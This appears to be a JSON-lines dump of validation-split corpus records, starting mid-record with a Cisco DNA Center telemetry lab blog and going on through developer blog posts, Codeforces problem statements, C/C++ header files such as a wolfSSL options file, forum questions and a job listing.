in-depth;\nWe will gain a practical understanding of the steps associated with setting up DNA Center and an environment to support telemetry to enable Assurance during these labs. The labs aim to aid engineers in rapidly beginning using DNA Center automation and help them work towards an automation strategy. Additionally, these labs will give customers a permanent place to try out pushing changes to telemetry settings so that they can get an understanding of what changes are made prior to deploying DNA Center on their networks. Finally, this environment will enable engineers to reduce the time and effort needed to instantiate the network.\nIn this small lab, it is quite crucial to delve into exactly which settings telemetry uses and how to enable devices for telemetry through DNA Center.\nHow can I get started?\nWithin dCLOUD, several sandbox-type labs are available. These self-contained environments are there to allow you to use them as you please within the time scheduled. In addition, this allows us a place to start practicing various concepts without fear of impacting production environments.\nAs a result, we hope to demystify some of the complexities of setting up automation and help guide customers through the caveats. Therefore, to aid customers in the transition toward automation, we have put together a set of small helpful labs within a Github repository. In this way, these self-guided labs provide a glimpse into the fundamentals of building velocity templates and offer examples that you can download and expand from. In addition, the sample templates and JSON files supplied are for easy import into DNA Centers’ template editor for quicker adoption. Lastly, some scripts are ready-made excerpts of code that allow you to build the environment to test.\nIn this practical lab, Telemetry, we step by step delve into enabling telemetry to make full use of assurance in DNA Center. Second, we provide answers and explanations to many of the questions that come up during automation workshops. We hope that you find the information both helpful and informative.\nWhere can I test and try these labs?\ndCLOUD Lab Environment\nTo help customers succeed with Cisco DNA Center automation, you may utilize the above labs as they have been designed to work within dCLOUD’s Cisco Enterprise Networks Hardware Sandbox Labs. The dCLOUD labs allow you to run these labs and gives an environment to try the various code samples. You may choose to develop and export your code for use in production environments. Also, this gives you an environment where you can safely POC/POV methods and steps without harming your production environments. The dCLOUD environment also negates the need for shipping equipment, lead times, and licensing issues needed to get moving rapidly. Please do adhere to the best practices for the dCLOUD environment when using it.\nThe environment allows for use with a web-based browser client for VPN-less connectivity, access as well as AnyConnect VPN client connectivity for those who prefer it. You may choose from labs hosted out of our San Jose Facilities by selecting US West. Choose the Cisco Enterprise Network Sandbox. To access this or any other content, including demonstrations, labs, and training in dCLOUD please work with your Cisco Account team or Cisco Partner Account Team directly. Your Account teams will schedule the session and share it for you to use. Once booked follow the guide within Github to complete the tasks adhering to the best practices of the dCLOUD environment.\nThe Telemetry lab content is located within the existing DNAC-TEMPLATES repository to give a one-stop-shop for all the necessary tools, scripts, templates, and code samples. Within it are seven labs, which build upon the tutorials to test the methods in a lab environment. The repository was featured in a previous post on Cisco Blogs about DNA Center Templates earlier in May 2021.\nAdditional labs aim to guide you through the typical steps required to enable the various automation tasks. This lab delves into the concepts of building and deploying advanced automation templates to deal with specific use cases. As a result, it also gives us access to suitable testing equipment within the LAB environment. Additionally, information within the lab provides a well-rounded explanation of Automation methods within Templates. Lastly, the lab enables customers ability to use DNA Center workflows. This lab gives an environment for customers to practice deploying advanced automation on both Wired and Wireless Platforms.\nThis lab’s goal is to be a practical aid for engineers developing a QoS automation strategy. Additionally, customers will gain a permanent place to try out the policies for various use cases. Finally, this environment will enable engineers to reduce the time and effort needed to instantiate the network.\nPlease use this menu to navigate the various sections of this Github repository. Within the multiple folders are examples, explanation readme files for reference.\n- PnP Preparation – The lab covers setup for Plug and Play (allow 1.5 hrs)\n- Onboarding Templates – The lab covers in depth how to deploy Day 0 templates (allow 1.5 hrs)\n- Day N Templates – The lab covers Day N template constructs and use cases (allow 0.5 hrs)\n- Composite Templates – This lab covers building a composite template on DNA Center (allow 0.5 hrs)\n- Application Policys – This lab covers Application Policys & SDAVC in DNAC (allow 1.0 hrs)\n- Telemetry – This lab explains how to deploy Telemetry for assurance (allow 0.5 hrs)\n- Advanced Automation – This lab will explore Advanced Automation examples (allow 1.5 hrs)\n- Dynamic Automation – This lab will use many Advanced Automation techniques discussed previously (allow 2.0 hrs)\nWe will share additional labs and content in an ongoing effort to fulfill all your automation needs with DNA Center.\nIn conclusion, if you found this set of labs and repository helpful,\nplease fill in comments and feedback on how it could be improved.\nWe’d love to hear what you think. Ask a question or leave a comment below.\nAnd stay connected with Cisco on social!\nCheck out our Cisco Networking video channel", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1887, "token_count_with_eod": 1888, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "#100DaysOfCode - Day 18: JetBrains Rider vs. Visual Studio Proper\nHappy Monday, y’all (Sorry, I’m technically a southerner). If you’re up north, I hope you got to enjoy some of the last warm weather today! Unfortunately, it’s looking like we may be getting some cold for a while, but we definitely enjoyed the last few weeks of warmth.\nToday, I wanted to make a post about JetBrains Rider, a great IDE that I’ve started to use and really enjoyed using in my month of use so far. I’ve been using it for Personal development, such as the Secret Santa application I’m working on here.\nPop OS Compatibility\nOn Pop OS (derived from Ubuntu), it’s relatively seamless (aside from 1 or 2 shortcuts with conflicts that I haven’t decided to resolve). I’ve also noticed some weirdness with the VIm plugin at times, but nothing terrible - definitely the best C# development experience I’ve had on Linux (beats VS Code pretty easy, which I’ve been using for the last few years, e.g. in ConsoleBooks).\nJetBrains is based out of Czech (which I’ve visted - yes, beer is cheaper than water in prague), but is a largely Russian company that does great things with Development workflows in various languages.\n- Their staple product has been JetBrains IDEA (Java)\n- They’ve branched off and are the industry leaders in Python now as well with IntelliJ (in my opinion)\n- They’ve (in the past few years) also released a C# IDE: JetBrains Rider\nWhilst I’ve historically stayed away from their products because I’m a C# developer, I’ve heard great things about it recently, and decided to give it a try about a month ago. Overall, while a month hasn’t been enough time to truly decide on how much more productive I am with it, I definitely think it’s a worthwhile investment ($15-20 a month). At this point, the one thing I’m still more efficient with Visual Studio for is in-depth debugging, but that’s mostly because I haven’t had to do much complex debugging (yet)…\nIf you (or your company), is interested in moving from Visual Studio, I definitely recommend Rider! If you’re a recent startup (new in the past 5 years), you might even qualify for the 50% discount here!", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "One day Vasya painted a Cartesian coordinate system on a piece of paper and marked some set of points (x1, y1), (x2, y2), ..., (xn, yn). Let's define neighbors for some fixed point from the given set (x, y):\n\n- point (x', y') is (x, y)'s right neighbor, if x' > x and y' = y\n- point (x', y') is (x, y)'s left neighbor, if x' < x and y' = y\n- point (x', y') is (x, y)'s lower neighbor, if x' = x and y' < y\n- point (x', y') is (x, y)'s upper neighbor, if x' = x and y' > y\n\nWe'll consider point (x, y) from the given set supercentral, if it has at least one upper, at least one lower, at least one left and at least one right neighbor among this set's points.\n\nVasya marked quite many points on the paper. Analyzing the picture manually is rather a challenge, so Vasya asked you to help him. Your task is to find the number of supercentral points in the given set.", "source": "cpt_codeforces", "language": "en", "token_count": 312, "token_count_with_eod": 313, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "I'm working with DNA methylation data obtained from the EPIC chip. I've previously used the R package Bumphunter for differentially methylated regions (DMRs). In my current project, I would like to specify a list of specific regions for bumphunter to analyse. In other words, I'm looking for a way to \"fix\" the regions in advance, and then tell Bumphunter to look at those specific regions - in stead of Bumphunter analysing DMRs genome wide.\nDoes anyone have any experience or know if it is possible to tweak bumphunter commands to restrict such regions?\nI'm very grateful for any response and help to get me a step closer to solve this :)\nThanks for reading!\nIf you want to make a comment, please use ADD COMMENT, rather than Add Answer (unless of course you are actually answering your own question).\nOpps, will do next time! I'm new to this support site.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "If I use my crappy ADSL (6/0.9mbit) which has a better ping (10 ms) it starts really quickly, by comparing files really quickly.\nIf I use my higher bandwidth 4G (50/30mbit), which has stable, but slightly worse ping of 40ms the comparison dialog is noticeably slower.\nThis lead me to conclude that WinSCP's synchronization comparison dialog does not use multiple connections.\nAlso I'd like to know if the uploading changes in \"keep remote up to date\" mode is using multiple connections? It sometimes seems slow when it uploads a lot of files.\nI think the \"keep remote up to date\" and \"synchronization\" should start multiple connections immediately and keep them ready when changes comes so that it can quickly upload multiple files.\nThanks, great work, just donated a $9 with no expectations to do anything, as my gratitude for using this program for ages.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 197, "token_count_with_eod": 198, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Rally - Excel Plugin: Unable to parse SSO landing page\nArticle ID: 102075\nCA Agile Central On Premise (Rally)CA Agile Central SaaS (Rally)\nWhile trying to connect to Agile Central using the Excel Plugin, the user receives error, \"Error connecting to CA Agile Central: Unable to parse SSO landing page\".\n\nUnfortunately this is a known issue with the current version of the Excel Plugin. Because this issue affects a low number of users and the Excel plugin is currently undergoing a full rewrite, the decision was made not to fix the defect. Engineering resources are instead being used to work on the new version of the plugin.\nIf the minimum version requirement can not be met, users can request to be put on the SSO Exceptions list by their local Subscription Administrators. This will allow the user to login to Agile Central (including the current Excel Plugin) using their Username and Password. Users will no longer receive the parsing error and will be able to connect using the Excel plugin.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 221, "token_count_with_eod": 222, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "/* wolfssl options.h\n * generated from configure options\n *\n * Copyright (C) 2006-2015 wolfSSL Inc.\n *\n * This file is part of wolfSSL. (formerly known as CyaSSL)\n *\n */\n\n#ifndef WOLFSSL_OPTIONS_H\n#define WOLFSSL_OPTIONS_H\n\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#undef  NO_DEV_RANDOM\n#define NO_DEV_RANDOM\n\n#undef  SINGLE_THREADED\n#define SINGLE_THREADED\n\n#undef  HAVE_PK_CALLBACKS\n#define HAVE_PK_CALLBACKS\n\n#undef  WOLFSSL_AES_DIRECT\n#define WOLFSSL_AES_DIRECT\n\n#undef  NO_WOLFSSL_DIR\n#define NO_WOLFSSL_DIR\n\n#undef  NO_FILESYSTEM\n#define NO_FILESYSTEM\n\n#undef  WOLFSSL_USER_IO\n#define WOLFSSL_USER_IO\n\n#undef  NO_WRITEV\n#define NO_WRITEV\n\n#undef  NO_DEV_RANDOM\n#define NO_DEV_RANDOM\n\n#undef  SINGLE_THREADED\n#define SINGLE_THREADED\n\n#undef  HAVE_PK_CALLBACKS\n#define HAVE_PK_CALLBACKS\n\n#undef  WOLFSSL_AES_DIRECT\n#define WOLFSSL_AES_DIRECT\n\n#undef  NO_WOLFSSL_DIR\n#define NO_WOLFSSL_DIR\n\n#undef  NO_FILESYSTEM\n#define NO_FILESYSTEM\n\n#undef  WOLFSSL_USER_IO\n#define WOLFSSL_USER_IO\n\n#undef  NO_WRITEV\n#define NO_WRITEV\n\n#undef  HAVE_FFDHE_2048\n#define HAVE_FFDHE_2048\n\n#undef  WOLFSSL_VERIFY_CB_ALL_CERTS\n#define WOLFSSL_VERIFY_CB_ALL_CERTS\n\n#undef  WOLFSSL_EXTRA_ALERTS\n#define WOLFSSL_EXTRA_ALERTS\n\n#undef  OPENSSL_EXTRA\n#define OPENSSL_EXTRA\n\n#undef  WOLFSSL_ALWAYS_VERIFY_CB\n#define WOLFSSL_ALWAYS_VERIFY_CB\n\n#undef  SINGLE_THREADED\n#define SINGLE_THREADED\n\n#undef  HAVE_THREAD_LS\n#define HAVE_THREAD_LS\n\n#undef  TFM_TIMING_RESISTANT\n#define TFM_TIMING_RESISTANT\n\n#undef  ECC_TIMING_RESISTANT\n#define ECC_TIMING_RESISTANT\n\n#undef  WC_RSA_BLINDING\n#define WC_RSA_BLINDING\n\n#undef  HAVE_AESGCM\n#define HAVE_AESGCM\n\n#undef  WOLFSSL_SHA512\n#define WOLFSSL_SHA512\n\n#undef  WOLFSSL_SHA384\n#define WOLFSSL_SHA384\n\n#undef  NO_DSA\n#define NO_DSA\n\n#undef  HAVE_ECC\n#define HAVE_ECC\n\n#undef  TFM_ECC256\n#define TFM_ECC256\n\n#undef  ECC_SHAMIR\n#define ECC_SHAMIR\n\n#undef  NO_RC4\n#define NO_RC4\n\n#undef  NO_HC128\n#define NO_HC128\n\n#undef  NO_RABBIT\n#define NO_RABBIT\n\n#undef  HAVE_POLY1305\n#define HAVE_POLY1305\n\n#undef  HAVE_ONE_TIME_AUTH\n#define HAVE_ONE_TIME_AUTH\n\n#undef  HAVE_CHACHA\n#define HAVE_CHACHA\n\n#undef  HAVE_HASHDRBG\n#define HAVE_HASHDRBG\n\n#undef  NO_FILESYSTEM\n#define NO_FILESYSTEM\n\n#undef  HAVE_TLS_EXTENSIONS\n#define HAVE_TLS_EXTENSIONS\n\n#undef  HAVE_SUPPORTED_CURVES\n#define HAVE_SUPPORTED_CURVES\n\n#undef  HAVE_EXTENDED_MASTER\n#define HAVE_EXTENDED_MASTER\n\n#undef  HAVE_ENCRYPT_THEN_MAC\n#define HAVE_ENCRYPT_THEN_MAC\n\n#undef  NO_PSK\n#define NO_PSK\n\n#undef  NO_MD4\n#define NO_MD4\n\n#undef  WOLFSSL_ENCRYPTED_KEYS\n#define WOLFSSL_ENCRYPTED_KEYS\n\n#undef  USE_FAST_MATH\n#define USE_FAST_MATH\n\n#undef  WC_NO_ASYNC_THREADING\n#define WC_NO_ASYNC_THREADING\n\n#undef  NO_DES3\n#define NO_DES3\n\n\n#ifdef __cplusplus\n}\n#endif\n\n\n#endif /* WOLFSSL_OPTIONS_H */", "source": "cpt_stack_code", "language": "code", "token_count": 817, "token_count_with_eod": 818, "validation_channel": "code", "validation_source": "cpt_stack_code"}
    {"text": "Let's define a cyclic shift of some string $$$s$$$ as a transformation from $$$s_1 s_2 \\dots s_{n-1} s_{n}$$$ into $$$s_{n} s_1 s_2 \\dots s_{n-1}$$$. In other words, you take one last character $$$s_n$$$ and place it before the first character while moving all other characters to the right.\n\nYou are given a binary string $$$s$$$ (a string consisting of only 0-s and/or 1-s).\n\nIn one operation, you can choose any substring $$$s_l s_{l+1} \\dots s_r$$$ ($$$1 \\le l < r \\le |s|$$$) and cyclically shift it. The cost of such operation is equal to $$$r - l + 1$$$ (or the length of the chosen substring).\n\nYou can perform the given operation any number of times. What is the minimum total cost to make $$$s$$$ sorted in non-descending order?", "source": "cpt_codeforces", "language": "en", "token_count": 212, "token_count_with_eod": 213, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "Primordial black holes (PBHs), if they exist, may shed light on long-standing questions on the nature of dark matter and mechanism driving cosmic inflation. If we associate their origin to the presence of enhanced primordial scalar fluctuations generated during inflation, the underlying dynamics that populates these objects can also provide distinctive sources of gravitational waves (GWs), potentially detectable with current or forthcoming GW experiments. Therefore, their population, along with the associated GW signal offer promising opportunities to shed light on the nature of inflation, by opening up a unique window to its dynamics at scales inaccessible by conventional CMB probes. In this talk, I will review some of the compelling inflationary scenarios able to trigger the formation of such objects in the post-inflationary universe by enhancing the amplitude of the primordial scalar perturbations. In this context, I will discuss single and multi-field realizations with a focus on theoretical aspects of model building discussing common themes shared among models in conjunction with their distinctive phenomenological implications in the form of a primordial GW background.\nHost: Gonzalo Alvarez", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 211, "token_count_with_eod": 212, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "The theme option will not lost, for safe, the backup is necessary.\nIf you add the CSS into child theme, the added CSS will not lost.\nYou can not upload the same theme before delete it, because it will be conflict, they are same fold name.\nFor safe, you could rename the old Air theme folder on FTP firstly.\nSo the correct order should be:\n1) backup site on Siteground (my host(\n2) download latest Air theme version from Themeforest\n3) rename old Air theme folder(like:old-air) on FTP\n4) upload new theme fold to WordPress", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 129, "token_count_with_eod": 130, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "To browse through our products, click on the category from our list to view all items in that category. You may also use our search tool to find a product with one or more keywords.\n8 PIECE WHISPER COLLECTION$56.00 $39.00\nThe \"Must Have\" Vegan Brush Combo Set$17.00 $12.00\n6 PC Travel Vegan Brush Set$25.00 $19.00\nPERFECT FINISH SETTING SPRAY$12.00 $10.20\nMIRRORED POWDER COMPACT WITH FLOCKED MAKEUP SPONGE$10.50", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 145, "token_count_with_eod": 146, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "This is a Braggin' Board for all the Ice Fisherman out there.\nCan be played in two ways:\nFirst: The board contains 5 rows. Each person has a row and keeps track of the number of fish caught. (any species)\nSecond: There are four species of fish listed on the bottom of the board: Walleye, Pike, Perch, Panfish...Designate the first row for the number of walleyes caught; second row for number of pike caught, third row for perch, fourth row for panfish and the fifth row for \"other\" species of fish caught.\nBoard is in the shape of a wood paddle. 23.75\"T x 5.25\"W", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 154, "token_count_with_eod": 155, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "You are given an array of integers $$$a_1, a_2, \\ldots, a_n$$$ and an integer $$$k$$$. You need to make it beautiful with the least amount of operations.\n\nBefore applying operations, you can shuffle the array elements as you like. For one operation, you can do the following:\n\n- Choose an index $$$1 \\leq i \\leq n$$$,\n- Make $$$a_i = a_i + k$$$.\n\nThe array $$$b_1, b_2, \\ldots, b_n$$$ is beautiful if $$$b_i = b_{n - i + 1}$$$ for all $$$1 \\leq i \\leq n$$$.\n\nFind the minimum number of operations needed to make the array beautiful, or report that it is impossible.", "source": "cpt_codeforces", "language": "en", "token_count": 169, "token_count_with_eod": 170, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "Little John aspires to become a plumber! Today he has drawn a grid consisting of n rows and m columns, consisting of n × m square cells.\n\nIn each cell he will draw a pipe segment. He can only draw four types of segments numbered from 1 to 4, illustrated as follows:\n\nEach pipe segment has two ends, illustrated by the arrows in the picture above. For example, segment 1 has ends at top and left side of it.\n\nLittle John considers the piping system to be leaking if there is at least one pipe segment inside the grid whose end is not connected to another pipe's end or to the border of the grid. The image below shows an example of leaking and non-leaking systems of size 1 × 2.\n\nNow, you will be given the grid that has been partially filled by Little John. Each cell will either contain one of the four segments above, or be empty. Find the number of possible different non-leaking final systems after Little John finishes filling all of the empty cells with pipe segments. Print this number modulo 1000003 (106 + 3).\n\nNote that rotations or flipping of the grid are not allowed and so two configurations that are identical only when one of them has been rotated or flipped either horizontally or vertically are considered two different configurations.", "source": "cpt_codeforces", "language": "en", "token_count": 273, "token_count_with_eod": 274, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "/*\n * Copyright 2006-2009, 2017, 2020 United States Government, as represented by the\n * Administrator of the National Aeronautics and Space Administration.\n * All rights reserved.\n * \n * The NASA World Wind Java (WWJ) platform is licensed under the Apache License,\n * Version 2.0 (the \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n * http://www.apache.org/licenses/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software distributed\n * under the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR\n * CONDITIONS OF ANY KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n * \n * NASA World Wind Java (WWJ) also contains the following 3rd party Open Source\n * software:\n * \n *     Jackson Parser – Licensed under Apache 2.0\n *     GDAL – Licensed under MIT\n *     JOGL – Licensed under  Berkeley Software Distribution (BSD)\n *     Gluegen – Licensed under Berkeley Software Distribution (BSD)\n * \n * A complete listing of 3rd Party software notices and licenses included in\n * NASA World Wind Java (WWJ)  can be found in the WorldWindJava-v2.2 3rd-party\n * notices and licenses PDF found in code directory.\n */\n\n#include \"stdafx.h\"\n\n#ifndef MUTEX_LOCK_H\n#define MUTEX_LOCK_H\n\n/**\n * Lock on a Windows mutex. The lock is acquired when the MutexLock object is created,\n * and is released when the object is destroyed.\n *\n * Usage:\n * .... non-critical code ...\n * {\n *     MutexLock lock(mutex); // Mutex is acquired\n *     ... critical code ...\n * } // lock object is destroyed, releasing mutex\n *\n * @author pabercrombie\n * @version $Id: MutexLock.h 1171 2013-02-11 21:45:02Z dcollins $\n */\nclass MutexLock {\npublic:\n    /** Create a mutex lock. */\n    MutexLock(HANDLE mutex)\n        : mutex(mutex)\n    {\n        DWORD dwWaitResult = WaitForSingleObject(mutex, INFINITE);\n        if (dwWaitResult != WAIT_OBJECT_0)\n        {\n            Logging::logger()->severe(L\"NativeLib.ErrorInNativeLib\", GetLastError());\n        }\n    }\n\n    /** Destroy the mutex lock. */\n    ~MutexLock() {\n        ReleaseMutex(mutex);\n    }\n\nprotected:\n    HANDLE mutex;\n};\n\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 604, "token_count_with_eod": 605, "validation_channel": "code", "validation_source": "cpt_stack_code"}
    {"text": "A Research and Development company, which researches and builds light weighted and loosely coupled components and application frameworks in Windows/Linux.\n(Freshers) Walk-In : BE / B.Tech / MCA / ME / M.Tech / B.Sc / BCA / M.Sc : 2012 Passout Only : .NET Developers @ Chennai\nJob Position : Dotnet Developer\nJob Designation : Software Developer\nJob Category : IT / Software\nWalk-In Location : Chennai, Tamilnadu\nJob Location : Chennai, Tamilnadu\nCompensation : INR 1,75,000 - 2,75,000 P.A\nEligibility Criteria :\n• B.E / B.Tech / B.Sc (CS) / B.Sc (IT) / BCA / M.E (CSE) / M.Tech (IT) / M.Sc (CS) / M.Sc (IT) / MCA\n• Must be a 2012 Pass Out candidate\n• Willingness and ability to learn new concepts and techniques\n• Ability for hard and smart work\n• Must have dynamic approach to work\nDesired Experience : 0 Years\nMandatory Skills :\n• .NET, LINQ, C#, Windows application, COM, DCOM, Object Oriented Programming, OOM, OOPS, WPF\nDesired Skills :\n• Must be proficient with .NET, LINQ, C#, Windows application, COM, DCOM, Object Oriented Programming, OOM, OOPS, WPF.\nJob Description :\n• To research and build re-usable components and application frameworks using Microsoft's WPF, Object oriented modelling and Component object model.\n• The research and development activities use Microsoft Visual C# as implementation vehicle.\nPlease Carry below documents (mandatory) :\n• Updated Resume Copy\n• Photo ID proof\nNote: Candidates without knowledge/certification in '.NET' - Please do NOT apply.\nWalk-In Date : From 25th to 28th March 2013 : 9.00 AM\nWalk-In Venue :\n117, 2nd floor, 2nd wing, Nelson towers Nelson Manickam Road,\nContact Person : HR\nContact Number : +91-44-23746808", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 485, "token_count_with_eod": 486, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "I used to get 60 -70 fps with fps boost, now I am stuck with 40-30 fps, my monitor is 165hz and this disturbs me\nWhy people are prevented from customizing the simulation and making performance modes\nThe simulation does not give as good results as the mod I installed before, even if I get the added setting as low.\nWhen I set up fps boost , I cannot add routes from aircraft. How can I solve this?\nPlease restore support for FPS BOOST plugin until DX12 is released. good work", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "A spike is a small, disposable experiment in code. After learning about your problem or solution via the spike, you throw it away and rewrite the code using TDD. Here, we look at a process for doing that incrementally, using the spike as a guide and git's rebase functionality as the means. It's only appropriate when the spiked code is heavily constrained by external interfaces. But, in that case, it can guide you through tricky third party interactions. Because this is a subtle topic, the screencast is necessarily demonstrating a simplified form: the spiked and TDDed code are identical. When doing this in practice, the rebases will result in nontrivial conflicts since the implementations won't be identical. The more dissimilar they are, the closer you are to true test driven design, and the less useful this technique is.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 171, "token_count_with_eod": 172, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Ilya is a very clever lion, he lives in an unusual city ZooVille. In this city all the animals have their rights and obligations. Moreover, they even have their own bank accounts. The state of a bank account is an integer. The state of a bank account can be a negative number. This means that the owner of the account owes the bank money.\n\nIlya the Lion has recently had a birthday, so he got a lot of gifts. One of them (the gift of the main ZooVille bank) is the opportunity to delete the last digit or the digit before last from the state of his bank account no more than once. For example, if the state of Ilya's bank account is -123, then Ilya can delete the last digit and get his account balance equal to -12, also he can remove its digit before last and get the account balance equal to -13. Of course, Ilya is permitted not to use the opportunity to delete a digit from the balance.\n\nIlya is not very good at math, and that's why he asks you to help him maximize his bank account. Find the maximum state of the bank account that can be obtained using the bank's gift.", "source": "cpt_codeforces", "language": "en", "token_count": 250, "token_count_with_eod": 251, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "why Windows Server?\nHas anyone tried running there CarPC on W2K8 yet? I am a MSDN subscriber I am thinking about giving it a whirl with RoadRunner.\n*shrug* some people seem to be using w2k3\nwin2k3 has better memory management over xp and probably 2000. Hence why I use it :P\nBut win2k8 is based on vista, i don't want to touch that for a while after seeing how vista itself runs...\ntru.. i'll still give it a whirl for the heck of it\nShould be pretty nice if you have:\n- driver support for your hardware\n- compatible software\n- Enough horsepower\n- Enough disk space for the larger OS.\nSQL Server on the go that logs all GPS data? Could be cool...\n2006 Lancer Evolution IX MR In-Dash PC Project - WIP\nInstallation/Fab/Assembly (Revised v2):\nGalvitron, nice idea about SQL logging GPS data on the go, that got me thinking and it can be done in XP using SQL Server Express which is the free version of SQL Server 2005 I am sure express has enough capabilities to handle straight out logging and queries...", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 260, "token_count_with_eod": 261, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "//========= Copyright Valve Corporation, All rights reserved. ============//\r\n//\r\n// Purpose: \r\n//\r\n// $Workfile:     $\r\n// $Date:         $\r\n// $NoKeywords: $\r\n//=============================================================================//\r\n#if !defined( ICLIENTENTITYLIST_H )\r\n#define ICLIENTENTITYLIST_H\r\n\r\n#ifdef _WIN32\r\n#pragma once\r\n#endif\r\n\r\n#include \"interface.h\"\r\n\r\nclass IClientEntity;\r\nclass ClientClass;\r\nclass IClientNetworkable;\r\nclass CBaseHandle;\r\nclass IClientUnknown;\r\n\r\n\r\n//-----------------------------------------------------------------------------\r\n// Purpose: Exposes IClientEntity's to engine\r\n//-----------------------------------------------------------------------------\r\nabstract_class IClientEntityList\r\n{\r\npublic:\r\n\t// Get IClientNetworkable interface for specified entity\r\n\tvirtual IClientNetworkable*\tGetClientNetworkable( int entnum ) = 0;\r\n\tvirtual IClientNetworkable*\tGetClientNetworkableFromHandle( CBaseHandle hEnt ) = 0;\r\n\tvirtual IClientUnknown*\t\tGetClientUnknownFromHandle( CBaseHandle hEnt ) = 0;\r\n\r\n\t// NOTE: This function is only a convenience wrapper.\r\n\t// It returns GetClientNetworkable( entnum )->GetIClientEntity().\r\n\tvirtual IClientEntity*\t\tGetClientEntity( int entnum ) = 0;\r\n\tvirtual IClientEntity*\t\tGetClientEntityFromHandle( CBaseHandle hEnt ) = 0;\r\n\r\n\t// Returns number of entities currently in use\r\n\tvirtual int\t\t\t\t\tNumberOfEntities( bool bIncludeNonNetworkable ) = 0;\r\n\r\n\t// Returns highest index actually used\r\n\tvirtual int\t\t\t\t\tGetHighestEntityIndex( void ) = 0;\r\n\r\n\t// Sizes entity list to specified size\r\n\tvirtual void\t\t\t\tSetMaxEntities( int maxents ) = 0;\r\n\tvirtual int\t\t\t\t\tGetMaxEntities( ) = 0;\r\n};\r\n\r\nextern IClientEntityList *entitylist;\r\n\r\n#define VCLIENTENTITYLIST_INTERFACE_VERSION\t\"VClientEntityList003\"\r\n\r\n#endif // ICLIENTENTITYLIST_H", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
    {"text": "I have a stick of 512MB DDR 2700 that, when I ran a test on it, came up with a bad sector. Just 1 sectore came up bad around 434MB. Just wondering if I should leave that stick out and just run with 512MB (should let you know, i'm a gamer) or go ahead and use the second 512 stick, with bad sector, to talk 1GB.\nI plan to upgrade to a new system within the next half-year, so I don't really want to go and buy 512MB of new RAM that I'll just toss aside in a few months.\nAnother possibility is to put in a stick of 256MB 2100 to total up to 768MBs. Not sure if I can aquire that 256 stick yet or not, let me know what you all think, and thank you.\nMobo: Epox 8K7A+\nCPU: AMD Athlon XP2200+\nOS: Windows XP pro SP1\nHD: WD 80GB\nHD: WD 180GB SE\nRAM: 2x512MB DDR 2100", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "/* Generated by RuntimeBrowser\n   Image: /System/Library/Frameworks/AddressBookUI.framework/AddressBookUI\n */\n\n@interface ABMultiCellContentView_Name : ABMultiCellContentView_Rows\n\n+ (unsigned long long)rowsForPropertyGroup:(id)arg1 info:(id)arg2;\n\n- (id)displayTextColor;\n- (void)entryField:(id)arg1 valueDidChange:(id)arg2 forKey:(id)arg3;\n- (id)keyboardSettingsForKey:(id)arg1;\n- (id)labelTextColorWhenEditing:(bool)arg1;\n- (void)reload;\n- (void)reloadFromModel;\n- (void)reloadFromModelIncludingRows:(bool)arg1;\n- (void)reloadLabelFromModel;\n- (void)setEditing:(bool)arg1 animated:(bool)arg2;\n\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 177, "token_count_with_eod": 178, "validation_channel": "code", "validation_source": "cpt_stack_code"}
    {"text": "Senior Manager - IT infrastructure Service Design chez HCL Technologies @ Greater Lyon Area\nEngineering Manager at Tookitaki | AML | ML | AWS Professional Solution Architect | Ex - Agoda | IIT Bombay\nExperienced Lead ML Engineer with a demonstrated history of working in Big Data technologies and productionizing ML solutions with over 6 years of experience. Skilled in Scala, Python, Big Data ecosystem components like Yarn, Spark, Hadoop, HDFS, HBase, Hive and certified AWS Solution architect. Strong information technology professional with a Dual degree (BTech + MTech) focused in Electrical and Electronics Engineering and specialisation in communication and signal processing from Indian Institute of Technology, Bombay(IIT-B).", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 143, "token_count_with_eod": 144, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
